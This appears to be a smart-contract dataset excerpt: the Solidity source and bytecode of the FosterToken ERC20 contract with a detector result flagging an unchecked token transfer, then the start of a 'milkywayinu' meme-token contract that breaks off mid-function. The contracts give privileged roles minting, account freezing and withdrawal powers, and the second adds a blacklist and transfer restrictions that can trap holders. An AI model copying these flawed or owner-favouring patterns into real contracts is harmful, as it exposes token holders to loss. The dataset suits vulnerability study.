/** *Submitted for verification at Etherscan.io on 2021-06-30 */ pragma solidity 0.5.10; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string internal _name; string internal _symbol; uint8 internal _decimals; function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } /** * @title FreezerRole */ contract FreezerRole is Ownable { using Roles for Roles.Role; event FreezerAdded(address indexed account); event FreezerRemoved(address indexed account); Roles.Role internal _freezers; modifier onlyFreezer() { require(isFreezer(msg.sender), "Caller has no permission"); _; } function isFreezer(address account) public view returns (bool) { return(_freezers.has(account) || account == owner()); } } interface ApproveAndCallFallBack { function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external; } contract FosterToken is ERC20, FreezerRole { address private boss = 0xC20e9fa3C437181A8f2F283B5c97Af59C0b046Aa; address private admin = 0x0D968ab967290731c75204A9713856f9954dfEc4; mapping (address => uint256) freezed; modifier notFreezed(address account) { require(block.timestamp >= freezed[account], "Balance is frozen"); _; } modifier onlyOwnerAndBoss() { require(msg.sender == owner() || msg.sender == boss, "No access"); _; } modifier onlyAdminAndBoss() { require(msg.sender == admin || msg.sender == boss, "No access"); _; } modifier onlyBoss() { require(msg.sender == boss, "No access"); _; } uint256 internal INITIAL_SUPPLY = 8000000000 * (10 ** 18); bool public issuingFinished; constructor(address recipient) public { _name = "FOSTER Token"; _symbol = "FOSTER"; _decimals = 18; _mint(recipient, INITIAL_SUPPLY); } function _transfer(address sender, address recipient, uint256 amount) internal notFreezed(sender) { super._transfer(sender, recipient, amount); } function _freeze(address account, uint256 period) internal { require(account != address(0)); freezed[account] = block.timestamp.add(period); emit OnFreezed(msg.sender, account, period, block.timestamp); } function freeze(address[] memory accounts, uint256[] memory periods) public onlyFreezer { for (uint256 i = 0; i < accounts.length; i++) { _freeze(accounts[i], periods[i]); } } function _freezeAndTransfer(address recipient, uint256 amount, uint256 period) internal { _freeze(recipient, period); transfer(recipient, amount); } function freezeAndTransfer(address recipient, uint256 amount, uint256 period) public onlyFreezer { _freezeAndTransfer(recipient, amount, period); } function freezeAndTransfer(address[] memory recipients, uint256[] memory amounts, uint256[] memory periods) public onlyFreezer { for (uint256 i = 0; i < recipients.length; i++) { _freezeAndTransfer(recipients[i], amounts[i], periods[i]); } } function issue(address[] memory accounts, uint256[] memory values) public onlyBoss { require(!issuingFinished, "Issuing is finished"); for (uint256 i = 0; i < accounts.length; i++) { _mint(accounts[i], values[i]); emit OnIssue(accounts[i], values[i]); } } function finishIssuing(bool check) public onlyBoss { require(!issuingFinished && check); issuingFinished = check; } function deputeBoss(address newBoss) public onlyBoss { require(newBoss != address(0)); emit OnBossDeputed(boss, newBoss, block.timestamp); boss = newBoss; } function deputeAdmin(address newAdmin) public onlyOwnerAndBoss { require(newAdmin != address(0)); emit OnAdminDeputed(admin, newAdmin, block.timestamp); admin = newAdmin; } function addFreezer(address account) public onlyOwnerAndBoss { _freezers.add(account); emit FreezerAdded(account); } function removeFreezer(address account) public onlyOwnerAndBoss { _freezers.remove(account); emit FreezerRemoved(account); } function approveAndCall(address spender, uint256 amount, bytes calldata extraData) external returns (bool) { require(approve(spender, amount)); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, amount, address(this), extraData); return true; } function withdrawERC20(address ERC20Token, address recipient) external { require(msg.sender == boss || msg.sender == admin); uint256 amount = IERC20(ERC20Token).balanceOf(address(this)); require(amount > 0); IERC20(ERC20Token).transfer(recipient, amount); } function setName(string memory newName, string memory newSymbol) public onlyOwner { emit OnNameSet(_name, _symbol, newName, newSymbol, now); _name = newName; _symbol = newSymbol; } function releaseDate(address account) public view returns(uint256) { return freezed[account]; } event OnFreezed ( address indexed sender, address indexed account, uint256 period, uint256 timestamp ); event OnBossDeputed ( address indexed former, address indexed current, uint256 timestamp ); event OnAdminDeputed ( address indexed former, address indexed current, uint256 timestamp ); event OnNameSet ( string oldName, string oldSymbol, string newName, string newSymbol, uint256 timestamp ); event OnIssue( address indexed account, uint256 value ); }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c80636c65fd6a116100f9578063a9059cbb11610097578063dd62ed3e11610071578063dd62ed3e14610888578063df904c41146108b6578063e971c252146109d9578063f2fde38b14610afc576101c4565b8063a9059cbb146107ba578063aa59bcbd146107e6578063cae9ca5114610805576101c4565b80638da5cb5b116100d35780638da5cb5b146107345780639456fbcc1461075857806395d89b4114610786578063a457c2d71461078e576101c4565b80636c65fd6a146106c25780636fc41a7e146106e857806370a082311461070e576101c4565b80633950935111610166578063524c5a7e11610140578063524c5a7e146103a8578063526606c91461054d5780635c707f07146105735780635e02c3411461069c576101c4565b80633950935114610342578063402c62b71461036e5780634ef05a71146103a0576101c4565b806318160ddd116101a257806318160ddd146102ae57806323b872dd146102c85780632acd2000146102fe578063313ce56714610324576101c4565b806302c5e92a146101c957806306fdde03146101f1578063095ea7b31461026e575b600080fd5b6101ef600480360360208110156101df57600080fd5b50356001600160a01b0316610b22565b005b6101f9610c0a565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023357818101518382015260200161021b565b50505050905090810190601f1680156102605780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61029a6004803603604081101561028457600080fd5b506001600160a01b038135169060200135610ca1565b604080519115158252519081900360200190f35b6102b6610cb7565b60408051918252519081900360200190f35b61029a600480360360608110156102de57600080fd5b506001600160a01b03813581169160208101359091169060400135610cbd565b6101ef6004803603602081101561031457600080fd5b50356001600160a01b0316610d2c565b61032c610de2565b6040805160ff9092168252519081900360200190f35b61029a6004803603604081101561035857600080fd5b506001600160a01b038135169060200135610deb565b6101ef6004803603606081101561038457600080fd5b506001600160a01b038135169060208101359060400135610e27565b61029a610e8c565b6101ef600480360360608110156103be57600080fd5b810190602081018135600160201b8111156103d857600080fd5b8201836020820111156103ea57600080fd5b803590602001918460208302840111600160201b8311171561040b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561045a57600080fd5b82018360208201111561046c57600080fd5b803590602001918460208302840111600160201b8311171561048d57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156104dc57600080fd5b8201836020820111156104ee57600080fd5b803590602001918460208302840111600160201b8311171561050f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e95945050505050565b6101ef6004803603602081101561056357600080fd5b50356001600160a01b0316610f48565b6101ef6004803603604081101561058957600080fd5b810190602081018135600160201b8111156105a357600080fd5b8201836020820111156105b557600080fd5b803590602001918460018302840111600160201b831117156105d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561062857600080fd5b82018360208201111561063a57600080fd5b803590602001918460018302840111600160201b8311171561065b57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610ffe945050505050565b6102b6600480360360208110156106b257600080fd5b50356001600160a01b0316611295565b61029a600480360360208110156106d857600080fd5b50356001600160a01b03166112b0565b6101ef600480360360208110156106fe57600080fd5b50356001600160a01b03166112ec565b6102b66004803603602081101561072457600080fd5b50356001600160a01b03166113b1565b61073c6113cc565b604080516001600160a01b039092168252519081900360200190f35b6101ef6004803603604081101561076e57600080fd5b506001600160a01b03813581169160200135166113e0565b6101f961151f565b61029a600480360360408110156107a457600080fd5b506001600160a01b038135169060200135611580565b61029a600480360360408110156107d057600080fd5b506001600160a01b0381351690602001356115d5565b6101ef600480360360208110156107fc57600080fd5b503515156115e2565b61029a6004803603606081101561081b57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561084a57600080fd5b82018360208201111561085c57600080fd5b803590602001918460018302840111600160201b8311171561087d57600080fd5b509092509050611659565b6102b66004803603604081101561089e57600080fd5b506001600160a01b0381358116916020013516611722565b6101ef600480360360408110156108cc57600080fd5b810190602081018135600160201b8111156108e657600080fd5b8201836020820111156108f857600080fd5b803590602001918460208302840111600160201b8311171561091957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561096857600080fd5b82018360208201111561097a57600080fd5b803590602001918460208302840111600160201b8311171561099b57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061174d945050505050565b6101ef600480360360408110156109ef57600080fd5b810190602081018135600160201b811115610a0957600080fd5b820183602082011115610a1b57600080fd5b803590602001918460208302840111600160201b83111715610a3c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a8b57600080fd5b820183602082011115610a9d57600080fd5b803590602001918460208302840111600160201b83111715610abe57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506117e6945050505050565b6101ef60048036036020811015610b1257600080fd5b50356001600160a01b031661192a565b610b2a6113cc565b6001600160a01b0316336001600160a01b03161480610b5357506007546001600160a01b031633145b610b90576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b6001600160a01b038116610ba357600080fd5b6008546040805142815290516001600160a01b038085169316917f7f366eb4a521035a2c37855dd5da0249ebbc430eb98b0e35f81aaa1be7b64718919081900360200190a3600880546001600160a01b0319166001600160a01b0392909216919091179055565b60038054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c965780601f10610c6b57610100808354040283529160200191610c96565b820191906000526020600020905b815481529060010190602001808311610c7957829003601f168201915b505050505090505b90565b6000610cae338484611a3a565b50600192915050565b60025490565b6000610cca848484611b26565b610d228433610d1d8560405180606001604052806028815260200161220b602891396001600160a01b038a166000908152600160209081526040808320338452909152902054919063ffffffff611b9416565b611a3a565b5060019392505050565b610d346113cc565b6001600160a01b0316336001600160a01b03161480610d5d57506007546001600160a01b031633145b610d9a576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b610dab60068263ffffffff611c2b16565b6040516001600160a01b038216907f96122329220f37e4f77351cee53d18e3ccccb2a9acf542ddbc984b9b9cd0de5f90600090a250565b60055460ff1690565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610cae918590610d1d908663ffffffff611c9216565b610e30336112b0565b610e7c576040805162461bcd60e51b815260206004820152601860248201527721b0b63632b9103430b9903737903832b936b4b9b9b4b7b760411b604482015290519081900360640190fd5b610e87838383611cf3565b505050565b600b5460ff1681565b610e9e336112b0565b610eea576040805162461bcd60e51b815260206004820152601860248201527721b0b63632b9103430b9903737903832b936b4b9b9b4b7b760411b604482015290519081900360640190fd5b60005b8351811015610f4257610f3a848281518110610f0557fe5b6020026020010151848381518110610f1957fe5b6020026020010151848481518110610f2d57fe5b6020026020010151611cf3565b600101610eed565b50505050565b610f506113cc565b6001600160a01b0316336001600160a01b03161480610f7957506007546001600160a01b031633145b610fb6576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b610fc760068263ffffffff611d0716565b6040516001600160a01b038216907f011c669bee42ba092a170f39eddb46b7a7d191579c90ca7c2a8c8418c0ce85b390600090a250565b60055461010090046001600160a01b03163314611062576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b7f2446b52f50d40835440d4e3024fe12d7f9d1f336f8baadafa2ee9b17f554cc7a60036004848442604051808060200180602001806020018060200186815260200185810385528a8181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156111255780601f106110fa57610100808354040283529160200191611125565b820191906000526020600020905b81548152906001019060200180831161110857829003601f168201915b505085810384528954600260001961010060018416150201909116048082526020909101908a9080156111995780601f1061116e57610100808354040283529160200191611199565b820191906000526020600020905b81548152906001019060200180831161117c57829003601f168201915b505085810383528851815288516020918201918a019080838360005b838110156111cd5781810151838201526020016111b5565b50505050905090810190601f1680156111fa5780820380516001836020036101000a031916815260200191505b50858103825287518152875160209182019189019080838360005b8381101561122d578181015183820152602001611215565b50505050905090810190601f16801561125a5780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390a181516112819060039060208501906120c0565b508051610e879060049060208401906120c0565b6001600160a01b031660009081526009602052604090205490565b60006112c360068363ffffffff611d8816565b806112e657506112d16113cc565b6001600160a01b0316826001600160a01b0316145b92915050565b6007546001600160a01b03163314611337576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b6001600160a01b03811661134a57600080fd5b6007546040805142815290516001600160a01b038085169316917f785941b8a97d5fe3a9f59667fb256537791d1dce97b21f5ae86343aa986889be919081900360200190a3600780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b031660009081526020819052604090205490565b60055461010090046001600160a01b031690565b6007546001600160a01b031633148061140357506008546001600160a01b031633145b61140c57600080fd5b604080516370a0823160e01b815230600482015290516000916001600160a01b038516916370a0823191602480820192602092909190829003018186803b15801561145657600080fd5b505afa15801561146a573d6000803e3d6000fd5b505050506040513d602081101561148057600080fd5b505190508061148e57600080fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156114ee57600080fd5b505af1158015611502573d6000803e3d6000fd5b505050506040513d602081101561151857600080fd5b5050505050565b60048054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c965780601f10610c6b57610100808354040283529160200191610c96565b6000610cae3384610d1d8560405180606001604052806025815260200161229e602591393360009081526001602090815260408083206001600160a01b038d168452909152902054919063ffffffff611b9416565b6000610cae338484611b26565b6007546001600160a01b0316331461162d576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b600b5460ff1615801561163d5750805b61164657600080fd5b600b805460ff1916911515919091179055565b60006116658585610ca1565b61166e57600080fd5b604051638f4ffcb160e01b81523360048201818152602483018790523060448401819052608060648501908152608485018790526001600160a01b038a1694638f4ffcb194938a93928a928a92919060a401848480828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156116ff57600080fd5b505af1158015611713573d6000803e3d6000fd5b50600198975050505050505050565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b611756336112b0565b6117a2576040805162461bcd60e51b815260206004820152601860248201527721b0b63632b9103430b9903737903832b936b4b9b9b4b7b760411b604482015290519081900360640190fd5b60005b8251811015610e87576117de8382815181106117bd57fe5b60200260200101518383815181106117d157fe5b6020026020010151611def565b6001016117a5565b6007546001600160a01b03163314611831576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b600b5460ff161561187f576040805162461bcd60e51b8152602060048201526013602482015272125cdcdd5a5b99c81a5cc8199a5b9a5cda1959606a1b604482015290519081900360640190fd5b60005b8251811015610e87576118bb83828151811061189a57fe5b60200260200101518383815181106118ae57fe5b6020026020010151611e74565b8281815181106118c757fe5b60200260200101516001600160a01b03167fa621c98607c56a4a601815d0a7ca0f0308571fe509a761937243dd312c638e4683838151811061190557fe5b60200260200101516040518082815260200191505060405180910390a2600101611882565b60055461010090046001600160a01b0316331461198e576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166119d35760405162461bcd60e51b815260040180806020018281038252602681526020018061217c6026913960400191505060405180910390fd5b6005546040516001600160a01b0380841692610100900416907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6001600160a01b038316611a7f5760405162461bcd60e51b815260040180806020018281038252602481526020018061227a6024913960400191505060405180910390fd5b6001600160a01b038216611ac45760405162461bcd60e51b81526004018080602001828103825260228152602001806121a26022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166000908152600960205260409020548390421015611b89576040805162461bcd60e51b81526020600482015260116024820152702130b630b731b29034b990333937bd32b760791b604482015290519081900360640190fd5b610f42848484611f64565b60008184841115611c235760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611be8578181015183820152602001611bd0565b50505050905090810190601f168015611c155780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b611c358282611d88565b611c705760405162461bcd60e51b81526004018080602001828103825260218152602001806121ea6021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b600082820183811015611cec576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b611cfd8382611def565b610f4283836115d5565b611d118282611d88565b15611d63576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b60006001600160a01b038216611dcf5760405162461bcd60e51b81526004018080602001828103825260228152602001806122336022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b6001600160a01b038216611e0257600080fd5b611e12428263ffffffff611c9216565b6001600160a01b03831660008181526009602090815260409182902093909355805184815242938101939093528051919233927fa25a73b051ffef843c1c15cea1d775b24f07efdf1be0d599a7842e5469b36965929181900390910190a35050565b6001600160a01b038216611ecf576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600254611ee2908263ffffffff611c9216565b6002556001600160a01b038216600090815260208190526040902054611f0e908263ffffffff611c9216565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b038316611fa95760405162461bcd60e51b81526004018080602001828103825260258152602001806122556025913960400191505060405180910390fd5b6001600160a01b038216611fee5760405162461bcd60e51b81526004018080602001828103825260238152602001806121596023913960400191505060405180910390fd5b612031816040518060600160405280602681526020016121c4602691396001600160a01b038616600090815260208190526040902054919063ffffffff611b9416565b6001600160a01b038085166000908152602081905260408082209390935590841681522054612066908263ffffffff611c9216565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061210157805160ff191683800117855561212e565b8280016001018555821561212e579182015b8281111561212e578251825591602001919060010190612113565b5061213a92915061213e565b5090565b610c9e91905b8082111561213a576000815560010161214456fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c6545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a723058207f086cc6487e1076e0a59770a859c77884661251677cb20da912e563bf36493f64736f6c634300050a0032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,189
0x8586d2c13ea5e1695154a64d7628a8ce34da43b1
/* Milkywayinu= Milkyway galaxy is about 100,000 light-years in diameter, so let aim for 100000X. Lets our token take the full round of milkyway. To the last star UDF2457. To the UDF2457 Tokenomics Taxation: 1. Sells limited to 3% of the Liquidity Pool, <3% price impact 2. 6% Tax rate https://t.me/milkywayinu Tokenomics totalSupply 1T 20% Burned 2 % Dev 78% Liquidity Liquidty will be locked. Ownership will be renounced. SPDX-License-Identifier: Mines™®© */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract milkywayinu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "milkywayinu"; string private constant _symbol = "Mlkyinu"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 7; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = true; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 7; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 8; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && 